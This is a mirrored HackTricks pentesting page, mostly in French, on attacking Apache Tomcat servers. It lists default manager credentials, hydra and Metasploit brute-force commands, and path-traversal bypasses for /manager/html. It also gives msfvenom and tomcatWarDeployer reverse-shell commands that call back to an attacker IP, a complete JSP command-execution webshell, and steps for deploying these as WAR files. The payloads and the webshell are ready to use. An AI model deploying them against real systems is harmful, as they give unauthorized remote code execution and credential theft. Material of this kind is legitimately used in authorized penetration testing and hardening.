Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-23 13:13:41 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/network-services-pentesting/pentesting-web/tomcat.md

20 KiB
Raw Blame History

Tomcat

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Trouvez les vulnérabilités les plus importantes afin de les corriger plus rapidement. Intruder suit votre surface d'attaque, effectue des analyses de menace proactives, trouve des problèmes dans toute votre pile technologique, des API aux applications web et aux systèmes cloud. Essayez-le gratuitement dès aujourd'hui.

{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}

Découverte

  • Il fonctionne généralement sur le port 8080
  • Erreur courante de Tomcat :

Énumération

Version

curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat

<html lang="en"><head><META http-equiv="Content-Type" content="text/html; charset=UTF-8"><link href="./images/docs-stylesheet.css" rel="stylesheet" type="text/css"><title>Apache Tomcat 9 (9.0.30) - Documentation Index</title><meta name="author"

Localiser les fichiers du gestionnaire

Il est intéressant de trouver où se trouvent les pages /manager et /host-manager car elles peuvent avoir un nom différent. Vous pouvez les rechercher avec une attaque par force brute.

Énumération des noms d'utilisateur

Dans certaines versions antérieures à Tomcat6, vous pouviez énumérer les utilisateurs :

msf> use auxiliary/scanner/http/tomcat_enum

Identifiants par défaut

Le chemin le plus intéressant de Tomcat est /manager/html, à l'intérieur de ce chemin, vous pouvez télécharger et déployer des fichiers war (exécuter du code). Mais ce chemin est protégé par une authentification HTTP de base, les identifiants les plus courants sont :

  • admin:admin
  • tomcat:tomcat
  • admin:<RIEN>
  • admin:s3cr3t
  • tomcat:s3cr3t
  • admin:tomcat

Vous pouvez tester ces identifiants et d'autres en utilisant :

msf> use auxiliary/scanner/http/tomcat_mgr_login

Un autre chemin intéressant de Tomcat est /manager/status, où vous pouvez voir la version du système d'exploitation et de Tomcat. Cela est utile pour trouver des vulnérabilités affectant la version de Tomcat lorsque vous ne pouvez pas accéder à /manager/html.

Bruteforce

hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html

msf6 auxiliary(scanner/http/tomcat_mgr_login) > set VHOST tomacat-site.internal
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set RPORT 8180
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set stop_on_success true
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set rhosts <IP>

Vulnérabilités

Divulgation de la trace arrière du mot de passe

Essayez d'accéder à /auth.jsp et avec un peu de chance, il pourrait divulguer le mot de passe dans une trace arrière.

Double encodage d'URL

Une vulnérabilité bien connue pour accéder au gestionnaire d'applications est mod_jk dans CVE-2007-1860, qui permet la traversée de chemin avec double encodage d'URL.

Pour accéder à l'interface web de gestion de Tomcat, allez à : pathTomcat/%252E%252E/manager/html

Notez que pour télécharger le webshell, vous devrez peut-être utiliser le truc du double encodage d'URL et envoyer également un cookie et/ou un jeton SSRF.
Pour accéder à la porte dérobée, vous devrez peut-être également utiliser le truc du double encodage d'URL.

/examples

Les scripts d'exemple suivants fournis avec Apache Tomcat v4.x - v7.x peuvent être utilisés par des attaquants pour obtenir des informations sur le système. Ces scripts sont également connus pour être vulnérables aux injections de script intersites (XSS) (à partir de ici).

  • /examples/jsp/num/numguess.jsp
  • /examples/jsp/dates/date.jsp
  • /examples/jsp/snp/snoop.jsp
  • /examples/jsp/error/error.html
  • /examples/jsp/sessions/carts.html
  • /examples/jsp/checkbox/check.html
  • /examples/jsp/colors/colors.html
  • /examples/jsp/cal/login.html
  • /examples/jsp/include/include.jsp
  • /examples/jsp/forward/forward.jsp
  • /examples/jsp/plugin/plugin.jsp
  • /examples/jsp/jsptoserv/jsptoservlet.jsp
  • /examples/jsp/simpletag/foo.jsp
  • /examples/jsp/mail/sendmail.jsp
  • /examples/servlet/HelloWorldExample
  • /examples/servlet/RequestInfoExample
  • /examples/servlet/RequestHeaderExample
  • /examples/servlet/RequestParamExample
  • /examples/servlet/CookieExample
  • /examples/servlet/JndiServlet
  • /examples/servlet/SessionExample
  • /tomcat-docs/appdev/sample/web/hello.jsp

Traversée de chemin (..;/)

Dans certaines configurations vulnérables de Tomcat, vous pouvez accéder à des répertoires protégés dans Tomcat en utilisant le chemin : /..;/

Ainsi, par exemple, vous pourriez être en mesure d'accéder à la page du gestionnaire Tomcat en accédant à : www.vulnerable.com/lalala/..;/manager/html

Une autre façon de contourner les chemins protégés en utilisant cette astuce est d'accéder à http://www.vulnerable.com/;param=value/manager/html

RCE

Enfin, si vous avez accès au gestionnaire d'applications web de Tomcat, vous pouvez télécharger et déployer un fichier .war (exécuter du code).

Limitations

Vous ne pourrez déployer un fichier WAR que si vous avez suffisamment de privilèges (rôles : admin, manager et manager-script). Ces détails peuvent être trouvés dans le fichier tomcat-users.xml généralement défini dans /usr/share/tomcat9/etc/tomcat-users.xml (cela varie selon les versions) (voir la section POST).

# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed

# deploy under "path" context path
curl --upload-file monshell.war -u 'tomcat:password' "http://localhost:8080/manager/text/deploy?path=/monshell"

# undeploy
curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell"

Metasploit

Metasploit is a powerful framework for penetration testing and exploiting vulnerabilities in network services. It provides a wide range of tools and modules that can be used to identify and exploit security weaknesses in target systems.

Metasploit is particularly useful for testing web applications hosted on the Apache Tomcat server. Tomcat is a popular open-source web server that is widely used for hosting Java-based applications. By using Metasploit, you can identify vulnerabilities in Tomcat and exploit them to gain unauthorized access to the target system.

Metasploit provides several modules specifically designed for Tomcat penetration testing. These modules can be used to perform tasks such as brute-forcing passwords, exploiting known vulnerabilities, and uploading malicious files to the target system.

To use Metasploit for Tomcat penetration testing, you need to first set up a Metasploit workspace and configure the necessary options. Once the workspace is set up, you can use the auxiliary/scanner/http/tomcat_mgr_login module to brute-force Tomcat manager credentials. This module attempts to guess the username and password for the Tomcat manager interface, which can be used to gain administrative access to the server.

If the brute-force attack is successful and you gain access to the Tomcat manager interface, you can use the exploit/multi/http/tomcat_mgr_deploy module to upload a malicious WAR file to the target system. This file can contain a backdoor or other malicious code that allows you to maintain access to the system even after the initial exploit.

Metasploit also provides modules for exploiting specific vulnerabilities in Tomcat, such as the exploit/multi/http/tomcat_cgi_cmdlineargs module, which exploits a command injection vulnerability in the CGI Servlet in Tomcat versions prior to 9.0.17.

In addition to these modules, Metasploit offers a wide range of other tools and techniques for penetration testing and exploiting network services. It is a valuable resource for both security professionals and hackers looking to identify and exploit vulnerabilities in target systems.

use exploit/multi/http/tomcat_mgr_upload
msf exploit(multi/http/tomcat_mgr_upload) > set rhost <IP>
msf exploit(multi/http/tomcat_mgr_upload) > set rport <port>
msf exploit(multi/http/tomcat_mgr_upload) > set httpusername <username>
msf exploit(multi/http/tomcat_mgr_upload) > set httppassword <password>
msf exploit(multi/http/tomcat_mgr_upload) > exploit

Reverse Shell MSFVenom

Le shell inversé MSFVenom est une technique couramment utilisée en pentest pour obtenir un accès distant à un système cible. Il permet à un attaquant de prendre le contrôle du système cible en établissant une connexion réseau inversée.

Génération du payload

Pour générer le payload du shell inversé à l'aide de MSFVenom, utilisez la commande suivante :

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<votre_IP> LPORT=<votre_port> -f war > shell.war
  • java/jsp_shell_reverse_tcp : spécifie le type de payload à générer, dans ce cas, un shell inversé JSP pour Tomcat.
  • LHOST : spécifie votre adresse IP, à laquelle le shell inversé se connectera.
  • LPORT : spécifie le port sur lequel le shell inversé se connectera.

Déploiement du payload

Une fois que vous avez généré le fichier shell.war, vous devez le déployer sur le serveur Tomcat de la cible. Vous pouvez le faire en utilisant diverses méthodes, telles que l'envoi du fichier via une vulnérabilité d'injection de fichiers ou en le téléchargeant sur le serveur via une autre vulnérabilité.

Une fois que le fichier shell.war est déployé sur le serveur Tomcat, vous pouvez accéder au shell inversé en accédant à l'URL suivante :

http://<adresse_IP_cible>:<port_Tomcat>/shell/

Établissement de la connexion

Lorsque vous accédez à l'URL du shell inversé, une connexion sera établie entre votre machine et le système cible. Vous pourrez alors exécuter des commandes sur le système cible à partir de votre terminal.

Assurez-vous de configurer correctement votre pare-feu et de prendre toutes les précautions nécessaires pour protéger votre système lors de l'utilisation de cette technique.

msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.11.0.41 LPORT=80 -f war -o revshell.war

Ensuite, téléchargez le fichier revshell.war et accédez-y (/revshell/)

Lier et inverser la coquille avec tomcatWarDeployer.py

Dans certains scénarios, cela ne fonctionne pas (par exemple, les anciennes versions de sun)

Télécharger

git clone https://github.com/mgeeky/tomcatWarDeployer.git

Reverse shell

Un reverse shell est une technique utilisée en pentest pour établir une connexion entre un attaquant et une machine cible à travers un réseau. Cela permet à l'attaquant d'exécuter des commandes sur la machine cible à distance.

Pour créer un reverse shell, l'attaquant doit d'abord exploiter une vulnérabilité sur la machine cible, généralement en utilisant une injection de code ou une faille de sécurité dans une application web. Une fois la vulnérabilité exploitée, l'attaquant peut exécuter un script ou un programme sur la machine cible qui établit une connexion de retour vers l'attaquant.

Lorsque la connexion de retour est établie, l'attaquant peut utiliser un terminal ou un outil de commande à distance pour exécuter des commandes sur la machine cible. Cela peut inclure l'exécution de commandes système, l'accès à des fichiers sensibles, la modification de configurations, voire la prise de contrôle complète de la machine.

Il est important de noter que l'utilisation d'un reverse shell pour accéder à une machine sans autorisation est illégale et constitue une violation de la vie privée. Cette technique ne doit être utilisée que dans le cadre d'un test de pénétration autorisé et éthique, avec le consentement préalable du propriétaire du système cible.

./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/

Shell de liaison

A bind shell is a type of shell that listens for incoming connections on a specific port. Once a connection is established, the bind shell provides a command-line interface to interact with the target system. This can be useful for remote administration or for launching further attacks.

Un shell de liaison est un type de shell qui écoute les connexions entrantes sur un port spécifique. Une fois qu'une connexion est établie, le shell de liaison fournit une interface en ligne de commande pour interagir avec le système cible. Cela peut être utile pour l'administration à distance ou pour lancer d'autres attaques.

./tomcatWarDeployer.py -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/

Utilisation de Culsterd

Culsterd is a tool that can be used for penetration testing of Apache Tomcat servers. It provides various modules that can be used to exploit vulnerabilities in Tomcat and gain unauthorized access to the server.

To use Culsterd, you first need to install it on your machine. You can find the installation instructions on the Culsterd GitHub page.

Once Culsterd is installed, you can start using its modules to test the security of a Tomcat server. Culsterd provides modules for various types of attacks, such as brute forcing passwords, exploiting weak configurations, and uploading malicious files.

To use a module, you need to specify the target Tomcat server and provide any required parameters. Culsterd will then execute the attack and provide you with the results.

It is important to note that Culsterd should only be used for authorized penetration testing. Using it without proper authorization is illegal and unethical.

By using Culsterd, you can identify and fix vulnerabilities in your Tomcat server, ensuring that it is secure against potential attacks.

clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows

Méthode manuelle - Web shell

Créez index.jsp avec ce contenu :

<FORM METHOD=GET ACTION='index.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd,null,null);
BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) { output += s+"</br>"; }
}  catch(IOException e) {   e.printStackTrace();   }
}
%>
<pre><%=output %></pre>

mkdir webshell
cp index.jsp webshell
cd webshell
jar -cvf ../webshell.war *
webshell.war is created
# Upload it

Vous pouvez également installer ceci (permet l'envoi, le téléchargement et l'exécution de commandes) : http://vonloesch.de/filebrowser.html

Méthode manuelle 2

Obtenez un shell web JSP tel que celui-ci et créez un fichier WAR :

wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
zip -r backup.war cmd.jsp
# When this file is uploaded to the manager GUI, the /backup application will be added to the table.
# Go to: http://tomcat-site.local:8180/backup/cmd.jsp

POST

Le nom du fichier d'identification de Tomcat est tomcat-users.xml.

find / -name tomcat-users.xml 2>/dev/null

Autres moyens de collecter les identifiants Tomcat :

msf> use post/multi/gather/tomcat_gather
msf> use post/windows/gather/enum_tomcat

Autres outils de scan Tomcat

Trouvez les vulnérabilités les plus importantes afin de les corriger plus rapidement. Intruder suit votre surface d'attaque, effectue des scans de menaces proactifs, trouve des problèmes dans toute votre pile technologique, des API aux applications web et aux systèmes cloud. Essayez-le gratuitement dès aujourd'hui.

{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥